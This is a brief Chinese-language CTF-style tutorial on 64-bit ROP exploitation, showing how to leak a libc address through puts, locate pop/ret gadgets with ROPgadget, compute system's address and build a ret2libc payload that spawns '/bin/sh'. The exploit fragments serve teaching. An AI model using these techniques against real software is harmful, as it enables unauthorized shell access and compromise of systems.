考察知识点
- 64位rop
原理
寄存器传参
64位和32位程序的不同点之一就是,它的前6个参数是通过寄存器传递的,有更多的参数才用栈,所以构造rop链的方式和32位不同。
利用
利用思路
构造rop,leak出libc地址,调用system(“/bin/sh”)
环境准备
本机测试,所以我先找到自己本机用到的libc.so
gadaget准备
ROPgadget –binary xxx –only “pop|ret”
leak system地址和/bin/sh
1 | system_addr = libc.symbols['system'] - libc.symbols['puts'] + u64(puts_addr) |
构造payload
1 | payload1=padding+p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) |